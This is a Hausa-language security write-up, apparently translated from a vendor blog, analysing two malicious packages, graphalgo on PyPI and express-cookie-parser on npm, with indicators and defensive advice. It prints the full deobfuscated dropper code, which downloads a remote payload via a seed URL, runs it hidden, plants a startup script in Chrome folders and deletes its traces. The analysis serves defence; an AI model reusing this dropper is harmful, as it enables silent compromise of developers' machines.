Kwanan nan Xygeni ya lura da wani yanayi mai ban tsoro a yanayin hare-haren sarkar samar da software a shekarar 2025, suna fitowa a cikin shahararrun manajojin kunshin guda biyu: PyPI da kuma npmA matsayin wani ɓangare na ci gaba da ƙoƙarinmu na leƙen asiri kan barazanar,Gargaɗin Farko na Malware na Xygeni (MEW) kayan aiki ya gano wani misali na musamman amma mai kama da na tsarin aiki na wani nau'in ɓarna da aka ɗora a wani rajista a baya. Wannan shari'ar ta nuna yadda masu barazanar ke haɓakawa da sake amfani da dabarun kai hari a cikin yanayin halittu, musamman ta hanyar fakitin Python masu cutarwa da kuma fakitin npm na mugunta, wanda ke ƙara haɗarin kamuwa da ƙwayoyin cuta masu cutarwa waɗanda ke shiga cikin sarƙoƙin samar da kayayyaki na buɗaɗɗen tushe.
MEW na Xygeni: Gano Kamanceceniya
An gina kayan aikin MEW na Xygeni don gano da kuma nuna alamun ɓarna, musamman waɗanda ke da alaƙa da Hare-haren Sarkar Samar da Manhaja a 2025, da zarar an buga su zuwa rajistar buɗaɗɗen tushe. Yana aiki ta hanyar nazarin sabbin fakiti don halayen da ake zargi.
A cikin wannan misali, an gano nau'ikan biyu fakitin Python masu cutarwa (graphalgo akan PyPI) da kuma fakitin npm na mugunta (express-cookie-parser a kan npm).
Mummunan Python da npm Fakiti a cikin Hare-haren Sarkar Samar da Manhaja (2025)
Bari mu binciki halayen da aka raba waɗanda suka haifar da faɗakarwarmu:
Kirkira
Dukansu sun yi ƙoƙarin yin kwaikwayon shahararrun fakitin da ake da su.
- graphalgo (PyPI): "Kunshin Python don ƙirƙira da sarrafa zane-zane da hanyoyin sadarwa."An loda ta wani mai amfani mai suna "Larrytech" a ranar 13 ga Yuni, 2025, wannan kunshin ya gabatar da kansa a matsayin madadin PyPi ga aikin graphalgo na asali wanda ba shi da lahani, wanda daga baya aka sake masa suna graphdict.
- mai nazarin kukis na gaggawa (npm)Wannan fakitin ya yi kwaikwayon sanannen fakitin kukis-parser, har ma yana kwaikwayon sa README.md. Irin wannan kwaikwayon wata dabara ce ta gargajiya don amfani da amincewar da ake da ita.
Rufe fuska a matsayin Layin Tsaro na Farko
Dukansu fakitin sun ɓoye lambar ɓarnarsu a cikin fayilolin asali. graphalgo, an sami lambar da aka ɓoye a cikin /utils/load_libraries.py. A cikin hali na mai nazarin kukis na gaggawa, cookie-loader.min.js ya ƙunshi nauyin da aka ɓoye.
Wannan matakin farko na ɓoye bayanai yawanci ana amfani da shi don hana dubawa na yau da kullun da kuma nazarin da ba ya canzawa. Cikakken bayani ya kasance mai sauƙi: maimaita matsi na ZLib tare da lambar Base64. Wannan nau'in ɓoye bayanai ya nuna a sarari cewa software ɗin yana ƙoƙarin ɓoye halayensa. Tare da wasu shaidu, wannan ya ba Xygeni MEW damar rarraba fakitin a matsayin malware mai yuwuwa. A lokacin matakin tabbatarwa, masu bita sun shirya rubutun ɓoye bayanai nan take wanda ya bayyana matakin ɓarna mai cutarwa.
Isar da Nauyin Mataki-mataki da yawa da kuma Ma'anar Asalin da Aka Raba
Dukansu fakitin sun yi aiki a matsayin farko "'yan bokon"," suna shirya matakin ainihin nauyin da aka ɗora musu. Sun raba wani abu na waje ɗaya "iri"URL ɗin fayil ɗin:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Wannan fayil ɗin iri na waje iri ɗaya alama ce mai ƙarfi ta mai haɗa barazanar da aka raba. Abin sha'awa, abubuwan da ke cikin wannan fayil ɗin iri sun bayyana a matsayin masu sauƙin canjin yanayi (misali, JWT_SECRET, PORT), wanda zai iya ɓatar da binciken ainihin aikinsa.
Tsarin C2 mai ƙarfi tare da DGA
Wata dabara mai zurfi da aka lura a cikin waɗannan fakitin ɓarna ita ce amfani da Tsarin Tsarin Domain (DGA) don warware sabar Umarni da Kulawa (C2) ta hanyar da ba ta canzawa. Wannan dabarar, wacce galibi ake gani a cikin hare-haren sarkar samar da software na zamani a cikin 2025, ta dogara ne akan hash SHA256 da aka samo daga abun cikin fayil ɗin iri, tare da sauran ƙimomin da aka haɗa da lambar sirri. Ta hanyar yin hakan, tsarin C2 yana canzawa akai-akai, wanda hakan ya sa yin amfani da jerin sunayen baƙaƙe na gargajiya ba shi da tasiri sosai. A wannan yanayin, bambancin npm ya yi amfani da ƙimar da aka ƙayyade na 496AAC7E a matsayin wani ɓangare na dabarun DGA.
Kafa Dorewa
Duk maharan biyu sun yi ƙoƙarin tabbatar da wanzuwar tsarin da abin ya shafa na dindindin. Dabarunsu ya haɗa da jefa fayil, startup.py (don PyPi) ko startup.js (don npm), zuwa cikin kundin bayanai na masu amfani na Google Chrome da aka saba amfani da su a cikin tsarin aiki daban-daban (Windows, Linux, macOS).
Tsaftacewa Bayan Aiwatarwa
Domin rage alamun cutarwa, duka rubutun da ba su da kyau sun yi ayyukan tsaftacewa. Wannan ya haɗa da share fayilolin farko na dropper (load_libraries.py, cookie-loader.min.js) da kuma gyara ingantattun fayilolin fakiti (__init__.py, index.js) don cire nassoshi ga abubuwan da aka goge yanzu.
Alamomin Sasantawa a cikin Mummunan Python da Fakitin npm
- Kunshin PyPI: graphalgo (wanda larrytech ta buga, 13 ga Yuni, 2025)
- Kunshin npm: express-cookie-parser (musamman sigar 1.4.12)
- Samun damar shiga URL ɗin Iri da Aka Raba:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Sunayen Fayil Masu Dorewa:
startup.py(Python)startup.js(JavaScript) - Hanyoyi Masu Dorewa Na Kullum (Dogaro da OS): A cikin kundin adireshi na bayanai na masu amfani na Google Chrome (misali,
AppData\Local\Google\Chrome\UserData\Scripts\a kan Windows,~/.config/google-chrome/Scripts/akan Linux, da sauransu).
Yadda Ake Kare Kariya Daga Fakitin Mugaye a Hare-haren Sarkar Samar da Manhaja na 2025
Hanyar da aka ba da shawarar ga Masu Haɓakawa
Wannan lamari ya zama wani muhimmin bincike a cikin yanayin barazanar da ke tasowa na hare-haren sarkar samar da software a cikin 2025. Yana nuna yadda fakitin Python masu cutarwa da fakitin npm masu cutarwa za su iya shiga cikin yanayin halittu masu aminci, sau da yawa suna guje wa ganowa har sai ya yi latti. Shi ya sa ganowa da wuri, kayan aiki masu wayo, da tsabtace tsarin aiki yanzu suna da mahimmanci ga duk wani tsari mai tsaro na DevOps. Ana ƙarfafa masu haɓaka su yi la'akari da waɗannan:
Sharhin Dogaro
Idan ayyukanka sun haɗa da graphalgo or mai nazarin kukis na gaggawa, zai yi kyau a ci gaba da cire su.
- Don PyPI:
pip uninstall graphalgo - Don npm:
npm uninstall express-cookie-parser
Tsaftar Tsarin
Yi la'akari da yin cikakken binciken tsarin. Haka kuma yana da kyau a duba hanyoyin kundin bayanai na masu amfani da Chrome da hannu don ganin duk wani abin da ba a zata ba startup.py or startup.js fayiloli.
Matakan Tsaro Na Farko
- Kimanta Sabbin Abubuwan Da Suka Dace: Kafa tsarin tantance sabbin fakiti kafin haɗa su, mai da hankali kan waɗanda daga masu wallafa littattafai da ba a sani ba.
- Haɗa Kayan Aikin TsaroKayan aiki kamar Xygeni's MEW, tare da sauran Binciken Tsarin Software (SCA) mafita, na iya samar da muhimmin matakin kariya ta hanyar gano halaye da raunin da ake zargi.
- Mafi Karancin Gata: Yanayin ci gaban aiki tare da ƙa'idar mafi ƙarancin gata na iya taimakawa wajen iyakance tasirin sulhu.
- Sanin hanyar sadarwa: Kula da zirga-zirgar hanyar sadarwa ta waje don gano hanyoyin sadarwa marasa kyau na iya bayyana hanyoyin sadarwa na C2 da DGA ta samar.
Mabuɗin Abubuwan Mahimmanci na load_libraries.py (daga graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Yana sarrafa ɗauko fayiloli daga takamaiman URLs.run_process(): Yana aiwatar da rubutun Python na waje ta hanyar da ba ta dace ba, yana hana fitarwa don ta kasance cikin sirri.get_output_file_path(): Yana tantance wurin da ya dace don fayil ɗin startup.py mai ɗorewa.remove_self(): Yana tsara tsaftace fayilolin ɓarna na farko da gyare-gyaren fakiti bayan aiwatarwa.simple_shift_encrypt()/simple_shift_decrypt(): Ayyukan sirri na musamman don ɓoye hanyoyin sadarwa, waɗanda suke da mahimmanci don aiwatar da DGA.load_libraries(): Babban aikin da ke daidaita dukkan tsarin matakai da yawa, tun daga saukarwa ta farko zuwa aiwatar da kayan aiki na ƙarshe da tsaftacewa.
Bayan
Kamar yadda yake da sauran fakitin da MEW ta gano, tacewar tsaro ta dogara ta kare masu amfani nan take waɗanda za su haɗa waɗannan fakitin da ba su da kyau a cikin abubuwan da suka dogara da su. Bayan tabbatarwa, mun bi hanyoyin sanarwa na rajistar duka biyun, waɗanda bayan an yi bita, suka cire fakitin biyu.







